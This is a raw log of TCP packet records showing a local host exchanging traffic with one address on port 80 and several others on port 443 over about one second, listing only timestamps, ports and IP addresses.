Nov 12, 2024 06:23:29.225060940 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.225080967 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.225090027 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.225173950 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.225553989 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.225564957 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.225652933 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.244693995 CET	443	49806	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:29.297534943 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.297570944 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.297733068 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.299336910 CET	49832	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.299381018 CET	443	49832	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.299514055 CET	49832	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.299741983 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.299756050 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.300548077 CET	49832	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.300559998 CET	443	49832	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.302253008 CET	443	49817	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.302318096 CET	49817	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.339402914 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.339416027 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.339510918 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.339535952 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.339536905 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.339631081 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.339703083 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.339715004 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.339726925 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.339750051 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.339782000 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.339804888 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.339849949 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.340143919 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.340153933 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.340228081 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.340306044 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.340317011 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.340329885 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.340341091 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.340347052 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.340428114 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.356755018 CET	443	49806	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:29.356956959 CET	49806	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:29.357285976 CET	49806	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:29.357285976 CET	49806	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:29.357306004 CET	443	49806	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:29.357316017 CET	443	49806	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:29.374407053 CET	443	49813	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.375082016 CET	49813	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.375108957 CET	443	49813	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.375953913 CET	49813	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.375972033 CET	443	49813	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.378839016 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.378854036 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.378865957 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.378931999 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.378931999 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.418306112 CET	443	49822	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.418541908 CET	49822	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.418560028 CET	443	49822	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.419682980 CET	443	49822	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.419764996 CET	49822	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.420835018 CET	49822	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.420897961 CET	443	49822	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.421104908 CET	49822	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.421116114 CET	443	49822	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.431215048 CET	443	49824	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.431435108 CET	49824	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.431456089 CET	443	49824	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.432518959 CET	443	49824	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.432602882 CET	49824	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.433451891 CET	49824	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.433552027 CET	443	49824	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.433670998 CET	49824	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.433677912 CET	443	49824	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.434964895 CET	443	49820	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.435209990 CET	49820	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.435216904 CET	443	49820	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.436222076 CET	443	49820	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.436320066 CET	49820	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.437375069 CET	49820	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.437429905 CET	443	49820	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.437535048 CET	49820	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.437540054 CET	443	49820	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.454674006 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.454858065 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.455049992 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.455080986 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.455099106 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.455101967 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.455112934 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.455133915 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.455148935 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.455193996 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.455225945 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.455240965 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.455370903 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.455395937 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.455396891 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.455416918 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.455512047 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.455575943 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.455588102 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.455600977 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.455621958 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.455856085 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.494147062 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.494193077 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.494218111 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.494235039 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.494249105 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.494260073 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.494550943 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.505584002 CET	443	49813	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.505764008 CET	443	49813	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.505891085 CET	49813	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.506249905 CET	49813	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.506272078 CET	443	49813	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.506326914 CET	49813	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.506333113 CET	443	49813	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.507746935 CET	49822	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.507746935 CET	49820	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.511483908 CET	49833	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.511523962 CET	443	49833	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.511723995 CET	49833	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.511831045 CET	49833	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.511847019 CET	443	49833	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.546134949 CET	443	49822	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.546206951 CET	443	49822	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.548851013 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.548894882 CET	49822	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.552505970 CET	49822	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.552510977 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.552525043 CET	443	49822	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.552540064 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.553641081 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.553864956 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.555025101 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.555089951 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.555332899 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.561781883 CET	443	49824	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.562000036 CET	49824	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.562000036 CET	49824	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.566025972 CET	443	49820	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.566082954 CET	443	49820	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.569067955 CET	49820	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.569269896 CET	49820	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.569281101 CET	443	49820	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.569847107 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.569904089 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.570106983 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.570117950 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.570127964 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.570132971 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.570151091 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.570168018 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.570303917 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.570317984 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.570328951 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.570353985 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.570413113 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.570614100 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.570624113 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.570714951 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.570744038 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.570796013 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.570811033 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.570820093 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.570883036 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.603333950 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.609385967 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.609427929 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.609440088 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.609527111 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.609536886 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.609828949 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.609843969 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.609967947 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.659497976 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.659527063 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.685182095 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.685194016 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.685292959 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.685300112 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.685312033 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.685364962 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.685364962 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.685441971 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.685451984 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.685646057 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.685687065 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.685693026 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.685693979 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.685816050 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.686050892 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.686079979 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.686098099 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.686188936 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.722063065 CET	443	49828	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.722328901 CET	49828	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.722348928 CET	443	49828	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.723407984 CET	443	49828	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.723495960 CET	49828	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.723850012 CET	49828	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.723910093 CET	443	49828	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.724134922 CET	49828	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.724143028 CET	443	49828	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.725528002 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.725570917 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.725580931 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.725621939 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.725634098 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.725644112 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.725750923 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.725908041 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.725951910 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.726005077 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.726068020 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.726089954 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.726109982 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.726198912 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.800489902 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.800499916 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.800549984 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.800549984 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.800642014 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.800673008 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.800683975 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.800723076 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.800950050 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.800961971 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.800973892 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.800992012 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.801067114 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.801202059 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.801261902 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.801282883 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.801352024 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.801399946 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.801399946 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.801403999 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.801493883 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.808136940 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.824497938 CET	443	49830	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.824851990 CET	49830	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.824868917 CET	443	49830	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.825856924 CET	443	49830	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.825938940 CET	49830	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.826261997 CET	49830	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.826320887 CET	443	49830	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.826452971 CET	49830	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.829809904 CET	443	49826	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.835263968 CET	49826	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.835289001 CET	443	49826	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.835846901 CET	49826	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.835853100 CET	443	49826	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.839649916 CET	443	49827	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.840117931 CET	49827	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.840148926 CET	443	49827	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.840856075 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.840888023 CET	49827	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.840895891 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.840898037 CET	443	49827	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.840919018 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.840950012 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.840975046 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.840996981 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.841007948 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.841018915 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.841021061 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.841041088 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.841100931 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.841411114 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.841423035 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.841434002 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.841486931 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.841486931 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.842972040 CET	443	49825	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.843535900 CET	49825	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.843550920 CET	443	49825	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.844130039 CET	49825	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.844135046 CET	443	49825	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.851305008 CET	443	49828	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.851417065 CET	49828	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.851814985 CET	49828	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.851824999 CET	443	49828	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.867331982 CET	443	49830	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.897205114 CET	49830	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.897214890 CET	443	49830	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.899213076 CET	443	49829	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.903570890 CET	49829	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.903584003 CET	443	49829	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.904340029 CET	49829	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.904345989 CET	443	49829	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.912847996 CET	443	49832	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.913080931 CET	49832	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.913110018 CET	443	49832	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.914124966 CET	443	49832	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.914203882 CET	49832	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.914665937 CET	49832	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.914665937 CET	49832	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.914741993 CET	443	49832	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.915782928 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.915798903 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.915862083 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.915887117 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.915972948 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.915992975 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.916008949 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.916033983 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.916033983 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.916129112 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.916263103 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.916275978 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.916323900 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.916323900 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.916364908 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.916423082 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.916796923 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.916834116 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.916845083 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.916863918 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.916927099 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.954329014 CET	443	49830	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.954529047 CET	49830	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.954653978 CET	49830	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.954659939 CET	443	49830	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.955825090 CET	49824	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.955846071 CET	443	49824	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.956258059 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.956288099 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.956298113 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.956338882 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.956357956 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.956366062 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.956372023 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.956389904 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.956406116 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.956410885 CET	49779	80	192.168.2.5	185.215.113.206
